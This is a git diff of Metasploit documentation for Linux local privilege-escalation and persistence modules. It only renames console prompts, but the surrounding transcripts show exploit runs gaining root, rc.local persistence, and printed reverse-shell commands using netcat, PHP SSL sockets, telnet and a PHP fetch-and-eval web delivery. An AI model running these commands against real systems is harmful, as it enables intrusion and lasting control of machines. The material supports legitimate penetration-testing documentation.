exploit(linux/local/network_manager_vpnc_username_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/network_manager_vpnc_username_priv_esc) > set lhost 172.16.191.188 + msf exploit(linux/local/network_manager_vpnc_username_priv_esc) > set lhost 172.16.191.188 lhost => 172.16.191.188 - msf5 exploit(linux/local/network_manager_vpnc_username_priv_esc) > run + msf exploit(linux/local/network_manager_vpnc_username_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [+] nmcli utility is installed diff --git a/documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md b/documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md index a2a07cafbd39e..5b7910cade9cd 100755 --- a/documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md +++ b/documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md @@ -47,16 +47,16 @@ ### DP 10.40 build 118 on CentOS Linux release 7.6.1810 (Core) ``` - msf5 > use exploit/linux/local/omniresolve_suid_priv_esc - msf5 exploit(linux/local/omniresolve_suid_priv_esc) > set session 1 + msf > use exploit/linux/local/omniresolve_suid_priv_esc + msf exploit(linux/local/omniresolve_suid_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/omniresolve_suid_priv_esc) > check + msf exploit(linux/local/omniresolve_suid_priv_esc) > check [+] The target is vulnerable. - msf5 exploit(linux/local/omniresolve_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + msf exploit(linux/local/omniresolve_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp - msf5 exploit(linux/local/komniresolve_suid_priv_esc) > set lhost 192.168.0.113 + msf exploit(linux/local/komniresolve_suid_priv_esc) > set lhost 192.168.0.113 lhost => 192.168.0.113 - msf5 exploit(linux/local/omniresolve_suid_priv_esc) > run + msf exploit(linux/local/omniresolve_suid_priv_esc) > run [*] Started reverse TCP handler on 192.168.0.113:4444 [*] Sending stage (3021284 bytes) to 192.168.0.107 diff --git a/documentation/modules/exploit/linux/local/pihole_remove_commands_lpe.md b/documentation/modules/exploit/linux/local/pihole_remove_commands_lpe.md index b1c6ad13cbb5a..5d2ea5d375c8f 100644 --- a/documentation/modules/exploit/linux/local/pihole_remove_commands_lpe.md +++ b/documentation/modules/exploit/linux/local/pihole_remove_commands_lpe.md @@ -201,9 +201,9 @@ resource (pihole.rb)> use exploit/linux/local/pihole_remove_commands_lpe [*] No payload configured, defaulting to cmd/unix/reverse_netcat resource (pihole.rb)> set verbose true verbose => true -msf6 exploit(linux/local/pihole_remove_commands_lpe) > set session 1 +msf exploit(linux/local/pihole_remove_commands_lpe) > set session 1 session => 1 -msf6 exploit(linux/local/pihole_remove_commands_lpe) > exploit +msf exploit(linux/local/pihole_remove_commands_lpe) > exploit [+] mkfifo /tmp/lodcpa; nc 192.168.2.129 4444 0/tmp/lodcpa 2>&1; rm /tmp/lodcpa [*] Started reverse TCP handler on 192.168.2.129:4444 @@ -225,16 +225,16 @@ Linux pihole 4.15.0-64-generic #73-Ubuntu SMP Thu Sep 12 13:16:13 UTC 2019 x86_6 #### Initial Session ``` -msf6 exploit(multi/handler) > use exploit/multi/script/web_delivery +msf exploit(multi/handler) > use exploit/multi/script/web_delivery [*] Using configured payload python/meterpreter/reverse_tcp -msf6 exploit(multi/script/web_delivery) > set target 1 +msf exploit(multi/script/web_delivery) > set target 1 target => 1 -msf6 exploit(multi/script/web_delivery) > set payload payload/php/meterpreter/reverse_tcp +msf exploit(multi/script/web_delivery) > set payload payload/php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp -msf6 exploit(multi/script/web_delivery) > run +msf exploit(multi/script/web_delivery) > run [*] Exploit running as background job 2. [*] Exploit completed, but no session was created. -msf6 exploit(multi/script/web_delivery) > +msf exploit(multi/script/web_delivery) > [*] Started reverse TCP handler on 192.168.2.129:4444 [*] Using URL: http://0.0.0.0:8080/pmL2Ap [*] Local IP: http://192.168.2.129:8080/pmL2Ap @@ -249,13 +249,13 @@ php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.129:808 #### Priv Esc ``` -msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/pihole_remove_commands_lpe +msf exploit(multi/script/web_delivery) > use exploit/linux/local/pihole_remove_commands_lpe [*] Using configured payload cmd/unix/reverse_php_ssl -msf6 exploit(linux/local/pihole_remove_commands_lpe) > set target dns +msf exploit(linux/local/pihole_remove_commands_lpe) > set target dns target => dns -msf6 exploit(linux/local/pihole_remove_commands_lpe) > set session 1 +msf exploit(linux/local/pihole_remove_commands_lpe) > set session 1 session => 1 -msf6 exploit(linux/local/pihole_remove_commands_lpe) > sessions +msf exploit(linux/local/pihole_remove_commands_lpe) > sessions Active sessions =============== @@ -264,11 +264,11 @@ Active sessions -- ---- ---- ----------- ---------- 3 meterpreter php/linux www-data (33) @ a5d63e5df67d 192.168.2.129:4444 -> 172.19.0.2:55344 (172.19.0.2) -msf6 exploit(linux/local/pihole_remove_commands_lpe) > set session 3 +msf exploit(linux/local/pihole_remove_commands_lpe) > set session 3 session => 3 -msf6 exploit(linux/local/pihole_remove_commands_lpe) > set target DNS +msf exploit(linux/local/pihole_remove_commands_lpe) > set target DNS target => DNS -msf6 exploit(linux/local/pihole_remove_commands_lpe) > run +msf exploit(linux/local/pihole_remove_commands_lpe) > run [+] php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://192.168.2.129:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'& [!] SESSION may not be compatible with this module (unloadable Meterpreter extension: ) diff --git a/documentation/modules/exploit/linux/local/polkit_dbus_auth_bypass.md b/documentation/modules/exploit/linux/local/polkit_dbus_auth_bypass.md index 464233a289f4b..29c29a8cccda4 100644 --- a/documentation/modules/exploit/linux/local/polkit_dbus_auth_bypass.md +++ b/documentation/modules/exploit/linux/local/polkit_dbus_auth_bypass.md @@ -54,16 +54,16 @@ Directory to write file to (`%TEMP%` by default). ### Tested on Ubuntu 20.04 ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload linux/x64/meterpreter_reverse_tcp -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.146:49882) at 2021-06-25 17:54:45 -0400 meterpreter > bg [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use polkit_dbus +msf exploit(multi/handler) > use polkit_dbus [*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp Matching Modules @@ -77,13 +77,13 @@ Matching Modules Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/polkit_dbus_auth_bypass [*] Using exploit/linux/local/polkit_dbus_auth_bypass -msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set lhost 192.168.123.1 +msf exploit(linux/local/polkit_dbus_auth_bypass) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set lport 4443 +msf exploit(linux/local/polkit_dbus_auth_bypass) > set lport 4443 lport => 4443 -msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set session 1 +msf exploit(linux/local/polkit_dbus_auth_bypass) > set session 1 session => 1 -msf6 exploit(linux/local/polkit_dbus_auth_bypass) > run +msf exploit(linux/local/polkit_dbus_auth_bypass) > run [*] Started reverse TCP handler on 192.168.123.1:4443 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/local/progress_flowmon_sudo_privesc_2024.md b/documentation/modules/exploit/linux/local/progress_flowmon_sudo_privesc_2024.md index 3ceec689a9cab..15bcf5052c777 100644 --- a/documentation/modules/exploit/linux/local/progress_flowmon_sudo_privesc_2024.md +++ b/documentation/modules/exploit/linux/local/progress_flowmon_sudo_privesc_2024.md @@ -31,7 +31,7 @@ This application is avaiable in cloud marketplaces: ### Flowmon 12.2 ``` -msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > sessions -l +msf exploit(linux/local/progress_flowmon_sudo_privesc_2024) > sessions -l Active sessions =============== @@ -40,7 +40,7 @@ Active sessions -- ---- ---- ----------- ---------- 5 meterpreter x64/linux flowmon @ localhost.localdomain.localdomain 192.168.2.23:4444 -> 192.168.2.26:38328 (192.168.2.26) -msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > show options +msf exploit(linux/local/progress_flowmon_sudo_privesc_2024) > show options Module options (exploit/linux/local/progress_flowmon_sudo_privesc_2024): @@ -68,7 +68,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/local/progress_flowmon_sudo_privesc) > run +msf exploit(linux/local/progress_flowmon_sudo_privesc) > run [*] Started reverse TCP handler on 192.168.2.23:5555 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md b/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md index 798e8a0e9148f..946f94b91a6a9 100644 --- a/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md +++ b/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md @@ -38,7 +38,7 @@ Because this is an appliance, there are limited commands available for command-b ### LoadMaster 7.2.59.0.22007 #### Metasploit Binary Dropper Payload ```msf -msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options +msf exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024): @@ -67,7 +67,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run +msf exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run [*] Started reverse TCP handler on 10.5.135.201:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -97,7 +97,7 @@ meterpreter > #### Reverse Bash Command Payload ```msf -msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options +msf exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024): @@ -126,7 +126,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run +msf exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run [+] sh -c '(sleep 4376|telnet 10.5.135.201 4444|while : ; do sh && break; done 2>&1|telnet 10.5.135.201 4444 >/dev/null 2>&1 &)' [*] Started reverse TCP double handler on 10.5.135.201:4444 @@ -185,4 +185,4 @@ drwxr-xr-x 5 root root 1024 Mar 22 2023 azurelinuxagent . . drwxr-xr-x 12 root root 1024 Mar 21 17:29 var -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/linux/local/ptrace_sudo_token_priv_esc.md b/documentation/modules/exploit/linux/local/ptrace_sudo_token_priv_esc.md index 3c926dbadd194..559ec0f174355 100644 --- a/documentation/modules/exploit/linux/local/ptrace_sudo_token_priv_esc.md +++ b/documentation/modules/exploit/linux/local/ptrace_sudo_token_priv_esc.md @@ -47,16 +47,16 @@ ### CentOS 7.4.1708 (x64) ``` - msf5 > use exploit/linux/local/ptrace_sudo_token_priv_esc - msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set session 1 + msf > use exploit/linux/local/ptrace_sudo_token_priv_esc + msf exploit(linux/local/ptrace_sudo_token_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + msf exploit(linux/local/ptrace_sudo_token_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp - msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set lhost 172.16.191.165 + msf exploit(linux/local/ptrace_sudo_token_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set verbose true + msf exploit(linux/local/ptrace_sudo_token_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > run + msf exploit(linux/local/ptrace_sudo_token_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] YAMA ptrace scope is not restrictive @@ -92,16 +92,16 @@ ### Debian 9.8 (x64) ``` - msf5 > use exploit/linux/local/ptrace_sudo_token_priv_esc - msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set session 1 + msf > use exploit/linux/local/ptrace_sudo_token_priv_esc + msf exploit(linux/local/ptrace_sudo_token_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + msf exploit(linux/local/ptrace_sudo_token_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp - msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set lhost 172.16.191.165 + msf exploit(linux/local/ptrace_sudo_token_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set verbose true + msf exploit(linux/local/ptrace_sudo_token_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > run + msf exploit(linux/local/ptrace_sudo_token_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] YAMA ptrace scope is not restrictive diff --git a/documentation/modules/exploit/linux/local/ptrace_traceme_pkexec_helper.md b/documentation/modules/exploit/linux/local/ptrace_traceme_pkexec_helper.md index dfbd61ffb2227..c6f7c36efacd3 100644 --- a/documentation/modules/exploit/linux/local/ptrace_traceme_pkexec_helper.md +++ b/documentation/modules/exploit/linux/local/ptrace_traceme_pkexec_helper.md @@ -75,14 +75,14 @@ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f e # Start a handler msfconsole -msf5 > use exploit/multi/handler -msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp +msf > use exploit/multi/handler +msf exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf5 exploit(multi/handler) > set LHOST 192.168.56.1 +msf exploit(multi/handler) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf5 exploit(multi/handler) > set LPORT 4444 +msf exploit(multi/handler) > set LPORT 4444 LPORT => 4444 -msf5 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.56.1:4444 @@ -100,14 +100,14 @@ meterpreter > background In this scenario, gcc is installed so we can live compile on the system. ``` -msf5 exploit(multi/handler) > use exploit/linux/local/ptrace_traceme_pkexec_helper -msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set LHOST 192.168.56.1 +msf exploit(multi/handler) > use exploit/linux/local/ptrace_traceme_pkexec_helper +msf exploit(linux/local/ptrace_traceme_pkexec_helper) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set SESSION 1 +msf exploit(linux/local/ptrace_traceme_pkexec_helper) > set SESSION 1 SESSION => 1 -msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set VERBOSE true +msf exploit(linux/local/ptrace_traceme_pkexec_helper) > set VERBOSE true VERBOSE => true -msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > exploit +msf exploit(linux/local/ptrace_traceme_pkexec_helper) > exploit [*] Started reverse TCP handler on 192.168.56.1:4444 [+] Kernel version 4.15.0-13-generic appears to be vulnerable [+] pkexec is installed @@ -140,14 +140,14 @@ Server username: uid=0, gid=0, euid=0, egid=0 It is possible to force pre-compiled binaries, in a scenario where `build-essential` or `gcc` aren't on the system. ``` -msf5 exploit(multi/handler) > use exploit/linux/local/ptrace_traceme_pkexec_helper -msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set LHOST 192.168.56.1 +msf exploit(multi/handler) > use exploit/linux/local/ptrace_traceme_pkexec_helper +msf exploit(linux/local/ptrace_traceme_pkexec_helper) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set SESSION 1 +msf exploit(linux/local/ptrace_traceme_pkexec_helper) > set SESSION 1 SESSION => 1 -msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set COMPILE False +msf exploit(linux/local/ptrace_traceme_pkexec_helper) > set COMPILE False COMPILE => False -msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > run +msf exploit(linux/local/ptrace_traceme_pkexec_helper) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [+] Kernel version 4.15.0-13-generic appears to be vulnerable diff --git a/documentation/modules/exploit/linux/local/rc_local_persistence.md b/documentation/modules/exploit/linux/local/rc_local_persistence.md index 9b81d94d2ebeb..6f6bfe53d4288 100644 --- a/documentation/modules/exploit/linux/local/rc_local_persistence.md +++ b/documentation/modules/exploit/linux/local/rc_local_persistence.md @@ -20,10 +20,10 @@ This module patches `/etc/rc.local` in order to launch a payload upon reboot. #### Escalate the session if needed ``` -msf5 exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo -msf5 post(multi/manage/sudo) > set session 3 +msf exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo +msf post(multi/manage/sudo) > set session 3 session => 3 -msf5 post(multi/manage/sudo) > run +msf post(multi/manage/sudo) > run [*] SUDO: Attempting to upgrade to UID 0 via sudo [*] No password available, trying a passwordless sudo. @@ -34,12 +34,12 @@ msf5 post(multi/manage/sudo) > run #### Persist ``` -msf5 post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence -msf5 exploit(multi/handler) > set payload cmd/unix/reverse_ruby +msf post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence +msf exploit(multi/handler) > set payload cmd/unix/reverse_ruby payload => cmd/unix/reverse_ruby -msf5 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41 +msf exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41 LHOST => 192.168.0.41 -msf5 exploit(linux/local/rc_local_persistence) > run +msf exploit(linux/local/rc_local_persistence) > run [*] Reading /etc/rc.local [*] Patching /etc/rc.local diff --git a/documentation/modules/exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc.md b/documentation/modules/exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc.md index 9da41b49bf2b7..30a628325b4b8 100644 --- a/documentation/modules/exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc.md +++ b/documentation/modules/exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc.md @@ -62,12 +62,12 @@ ### Ubuntu 16.04 kernel 4.8.0-51-lowlatency #54~16.04.1-Ubuntu ``` - msf5 > use exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc - msf5 exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > set session 1 + msf > use exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc + msf exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > set verbose true + msf exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > check + msf exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > check [+] System architecture x86_64 is supported [+] Linux kernel 4.8.0-51-lowlatency #54~16.04.1-Ubuntu is vulnerable @@ -76,9 +76,9 @@ [+] grsecurity is not in use [+] rds.ko kernel module is loaded [*] The target appears to be vulnerable. - msf5 exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > set lhost 172.16.191.165 + msf exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > run + msf exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] System architecture x86_64 is supported diff --git a/documentation/modules/exploit/linux/local/rds_rds_page_copy_user_priv_esc.md b/documentation/modules/exploit/linux/local/rds_rds_page_copy_user_priv_esc.md index 16ecc91c00c14..104a067b5f887 100644 --- a/documentation/modules/exploit/linux/local/rds_rds_page_copy_user_priv_esc.md +++ b/documentation/modules/exploit/linux/local/rds_rds_page_copy_user_priv_esc.md @@ -62,12 +62,12 @@ The executables were cross-compiled with [musl-cross](https://s3.amazonaws.com/m ## Scenarios ``` - msf5 > use exploit/linux/local/rds_rds_page_copy_user_priv_esc - msf5 exploit(linux/local/rds_rds_page_copy_user_priv_esc) > set session 1 + msf > use exploit/linux/local/rds_rds_page_copy_user_priv_esc + msf exploit(linux/local/rds_rds_page_copy_user_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/rds_rds_page_copy_user_priv_esc) > set lhost 172.16.191.188 + msf exploit(linux/local/rds_rds_page_copy_user_priv_esc) > set lhost 172.16.191.188 lhost => 172.16.191.188 - msf5 exploit(linux/local/rds_rds_page_copy_user_priv_esc) > run + msf exploit(linux/local/rds_rds_page_copy_user_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/.zEAOL.c' (7282 bytes) ... diff --git a/documentation/modules/exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc.md b/documentation/modules/exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc.md index 0dcc7e5d39dd4..e2666e70f6567 100644 --- a/documentation/modules/exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc.md +++ b/documentation/modules/exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc.md @@ -44,18 +44,18 @@ ### Ubuntu 18.04.3 (x64) ``` - msf5 > use exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc - msf5 exploit(linux/local/reptile_rootkit_reptile_cmd_priv_esc) > set session 1 + msf > use exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc + msf exploit(linux/local/reptile_rootkit_reptile_cmd_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/reptile_rootkit_reptile_cmd_priv_esc) > set verbose true + msf exploit(linux/local/reptile_rootkit_reptile_cmd_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/reptile_rootkit_reptile_cmd_priv_esc) > check + msf exploit(linux/local/reptile_rootkit_reptile_cmd_priv_esc) > check [+] /reptile/reptile_cmd is executable [*] Output: uid=0(root) gid=0(root) groups=0(root) [+] Reptile is installed and loaded [+] The target is vulnerable. - msf5 exploit(linux/local/reptile_rootkit_reptile_cmd_priv_esc) > run + msf exploit(linux/local/reptile_rootkit_reptile_cmd_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] /reptile/reptile_cmd is executable diff --git a/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md b/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md index 7e22752809025..c50d1d0028260 100644 --- a/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md +++ b/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md @@ -63,7 +63,7 @@ python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.v [*] 1.1.1.1 web_delivery - Delivering Payload (436 bytes) [*] Sending stage (24768 bytes) to 1.1.1.1 [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 1.1.1.1:45198) at 2024-02-01 18:14:09 +0000 -msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 1 +msf exploit(linux/local/runc_cwd_priv_esc) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -91,9 +91,9 @@ resource (runc.rb)> set session 1 session => 1 resource (runc.rb)> set lport 9876 lport => 9876 -msf6 exploit(linux/local/runc_cwd_priv_esc) > set verbose true +msf exploit(linux/local/runc_cwd_priv_esc) > set verbose true verbose => true -msf6 exploit(linux/local/runc_cwd_priv_esc) > run +msf exploit(linux/local/runc_cwd_priv_esc) > run [*] Started reverse TCP handler on 1.1.1.1:9876 [!] SESSION may not be compatible with this module: @@ -126,7 +126,7 @@ msf6 exploit(linux/local/runc_cwd_priv_esc) > run [+] Deleted /tmp/.HdUvYm3 [*] Meterpreter session 2 opened (1.1.1.1:9876 -> 1.1.1.1:43876) at 2024-02-01 18:15:04 +0000 [-] run: Interrupted -msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2 +msf exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid @@ -136,7 +136,7 @@ Server username: root ### Debian 12.4 ``` -msf6 exploit(linux/local/runc_cwd_priv_esc) > run session=1 lhost=192.168.20.24 verbose=true +msf exploit(linux/local/runc_cwd_priv_esc) > run session=1 lhost=192.168.20.24 verbose=true [*] Started reverse TCP handler on 192.168.20.24:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -234,4 +234,4 @@ true (Meterpreter 11)(/home/user) > getuid Server username: root -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/linux/local/service_persistence.md b/documentation/modules/exploit/linux/local/service_persistence.md index 46d920043406d..c0a3c3a08a116 100644 --- a/documentation/modules/exploit/linux/local/service_persistence.md +++ b/documentation/modules/exploit/linux/local/service_persistence.md @@ -256,7 +256,7 @@ Now with a multi handler, we can catch systemd restarting the process every 10se ### systemd user (Ubuntu 16.04 Server - vagrant) - msf5 exploit(linux/local/service_persistence) > options + msf exploit(linux/local/service_persistence) > options Module options (exploit/linux/local/service_persistence): @@ -283,7 +283,7 @@ Now with a multi handler, we can catch systemd restarting the process every 10se 4 systemd user - msf5 exploit(linux/local/service_persistence) > run + msf exploit(linux/local/service_persistence) > run [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 172.28.128.1:4444 diff --git a/documentation/modules/exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc.md b/documentation/modules/exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc.md index 1804aa03c1460..804c49dd68128 100644 --- a/documentation/modules/exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc.md +++ b/documentation/modules/exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc.md @@ -47,13 +47,13 @@ ### Debian 9.6 (x64) ``` - msf5 exploit(multi/handler) > back - msf5 > use exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc - msf5 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > set session 1 + msf exploit(multi/handler) > back + msf > use exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc + msf exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > set verbose true + msf exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > run + msf exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] bash shell is available diff --git a/documentation/modules/exploit/linux/local/sudo_baron_samedit.md b/documentation/modules/exploit/linux/local/sudo_baron_samedit.md index d0715a7c3a7db..d74fccab3918a 100644 --- a/documentation/modules/exploit/linux/local/sudo_baron_samedit.md +++ b/documentation/modules/exploit/linux/local/sudo_baron_samedit.md @@ -78,7 +78,7 @@ the system creates a long, random password. ### Ubuntu 20.04.1 x64 ``` -msf6 exploit(multi/ssh/sshexec) > exploit +msf exploit(multi/ssh/sshexec) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] 192.168.159.34:22 - Sending stager... @@ -98,15 +98,15 @@ BuildTuple : i486-linux-musl Meterpreter : x86/linux meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/ssh/sshexec) > use exploit/linux/local/sudo_baron_samedit +msf exploit(multi/ssh/sshexec) > use exploit/linux/local/sudo_baron_samedit [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/sudo_baron_samedit) > set SESSION 1 +msf exploit(linux/local/sudo_baron_samedit) > set SESSION 1 SESSION => 1 -msf6 exploit(linux/local/sudo_baron_samedit) > set LHOST 192.168.159.128 +msf exploit(linux/local/sudo_baron_samedit) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(linux/local/sudo_baron_samedit) > set TARGET Automatic +msf exploit(linux/local/sudo_baron_samedit) > set TARGET Automatic TARGET => Automatic -msf6 exploit(linux/local/sudo_baron_samedit) > exploit +msf exploit(linux/local/sudo_baron_samedit) > exploit [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 192.168.159.128:4444 diff --git a/documentation/modules/exploit/linux/local/systemtap_modprobe_options_priv_esc.md b/documentation/modules/exploit/linux/local/systemtap_modprobe_options_priv_esc.md index 172b07f6095ad..f14ece1001378 100644 --- a/documentation/modules/exploit/linux/local/systemtap_modprobe_options_priv_esc.md +++ b/documentation/modules/exploit/linux/local/systemtap_modprobe_options_priv_esc.md @@ -45,12 +45,12 @@ ### Red Hat Enterprise Linux 5.5 (x64) ``` - msf5 > use exploit/linux/local/systemtap_modprobe_options_priv_esc - msf5 exploit(linux/local/systemtap_modprobe_options_priv_esc) > set session 1 + msf > use exploit/linux/local/systemtap_modprobe_options_priv_esc + msf 